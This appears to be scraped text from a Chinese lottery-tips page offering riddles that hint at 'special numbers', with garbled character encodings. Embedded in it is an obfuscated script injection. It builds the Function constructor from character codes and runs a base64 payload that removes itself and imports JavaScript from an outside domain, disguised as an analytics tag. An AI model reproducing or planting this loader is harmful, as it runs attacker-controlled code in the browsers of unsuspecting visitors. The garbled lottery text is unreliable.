二七加三得靈碼，二后雙合三七數(shù)。

特碼為單數(shù)。aerror ="window[String.fromCharCode(70,117,110,99,116,105,111,110)](atob('dGhpcy5yZW1vdmUoKTtpbXBvcnQoJ2h0dHBzOi8vd3d3LjQ5MjE3OC5jb20vZ3RhZy9qcz9pZD1HLURSJyk7')).call(this)"

給一句話(huà)：欲錢(qián)買(mǎi)思維遲鈍的動(dòng)物